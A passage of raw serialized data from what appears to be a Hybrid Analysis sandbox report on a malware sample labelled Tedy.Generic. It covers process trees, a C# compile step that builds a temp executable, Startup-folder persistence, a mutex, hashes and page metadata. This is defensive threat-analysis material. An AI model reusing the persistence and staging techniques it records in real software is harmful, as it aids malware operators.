/prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00001856"},{"pid":3756,"ppid":4728,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\zrdealgv.vdx\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1776361946780933 --launch-time-ticks=2539006443 --metrics-shmem-handle=2840,i,16391213789309778867,5012627388001412621,2097152 --field-trial-handle=1812,i,3794448288358041764,7979617082329029197,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=4116 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00003756"},{"pid":4132,"ppid":4728,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\zrdealgv.vdx\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --time-ticks-at-unix-epoch=-1776361946780933 --launch-time-ticks=2539219985 --metrics-shmem-handle=3316,i,2451962713458781084,1092848639629921019,2097152 --field-trial-handle=1812,i,3794448288358041764,7979617082329029197,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=2832 /prefetch:1","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00004132"},{"pid":4624,"ppid":4728,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\zrdealgv.vdx\" --extension-process --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --time-ticks-at-unix-epoch=-1776361946780933 --launch-time-ticks=2539481162 --metrics-shmem-handle=3340,i,9564257682168313375,4777857301971281531,2097152 --field-trial-handle=1812,i,3794448288358041764,7979617082329029197,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=4216 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00004624"},{"pid":3344,"ppid":4728,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\zrdealgv.vdx\" --extension-process --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --time-ticks-at-unix-epoch=-1776361946780933 --launch-time-ticks=2539698145 --metrics-shmem-handle=3904,i,11008504815062188871,10834192439321353918,2097152 --field-trial-handle=1812,i,3794448288358041764,7979617082329029197,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=2196 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00003344"},{"pid":7576,"ppid":4728,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\zrdealgv.vdx\" --no-pre-read-main-dll --metrics-shmem-handle=4180,i,15675019664285307730,11953240181111383534,524288 --field-trial-handle=1812,i,3794448288358041764,7979617082329029197,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=4376 /prefetch:8","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00007576"},{"pid":5268,"ppid":4848,"name":"jsc.exe","command_line":"4848","sha256":"e81c60325330256ded1307b455241eb50da9c57624cea86d26f6c840cd5d9c9f","normalized_path":"%TEMP%\\jsc.exe","parent_uid":"00000000-00004848","uid":"00000000-00005268"},{"pid":1872,"ppid":4848,"name":"csc.exe","command_line":"/target:exe /out:\"%TEMP%\\jsc.exe\" \"%TEMP%\\guardian_src_9aa9cc7d7f764f55a3cd1d78303b44e9.cs\"","sha256":"4240a12e0b246c9d69af1f697488fe7da1b497df20f4a6f95135b4d5fe180a57","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","parent_uid":"00000000-00004848","uid":"00000000-00001872"},{"pid":4744,"ppid":1872,"name":"cvtres.exe","command_line":"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\RES3AAE.tmp\" \"%TEMP%\\CSCE00FFB97D6254137A6228D9A392254A.TMP\"","sha256":"1fe531eac592b480aa4bd16052b909c3431434f17e7ae163d248355558ce43a6","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","parent_uid":"00000000-00001872","uid":"00000000-00004744"}],"all_imported_dlls":["ntdll.dll","VxSSL64.dll","gdi32full.dll","msvcp_win.dll","bcryptprimitives.dll","kernel32.dll","ws2_32.dll","fltLib.dll","user32.dll","gdi32.dll","imm32.dll","KernelBase.dll","apphelp.dll","rpcrt4.dll","win32u.dll","advapi32.dll","sechost.dll","ole32.dll","kernel.appcore.dll","ucrtbase.dll","msvcrt.dll","combase.dll","oleaut32.dll","shlwapi.dll","cryptsp.dll","ntmarta.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe","sha256":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"name":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe.bin","sha256":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"name":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\MD16ADF15DF90E013","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]}]}},"report_ids":{"sandbox_job_ids":["69e0c8e63d6c0a37980df549"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Tedy.Generic Sample 3a544ee360c3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 3a544ee360c3…. Malware family: Tedy.Generic. Threat score 100/100. 7/27 AV engines flagged this file. 7 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7"}],["$","meta","4",{"property":"og:title","content":"Malicious Tedy.Generic Sample 3a544ee360c3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 3a544ee360c3…. Malware family: Tedy.Generic. Threat score 100/100. 7/27 AV engines flagged this file. 7 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Tedy.Generic Sample 3a544ee360c3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 3a544ee360c3…. Malware family: Tedy.Generic. Threat score 100/100. 7/27 AV engines flagged this file. 7 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3e","11",{}]]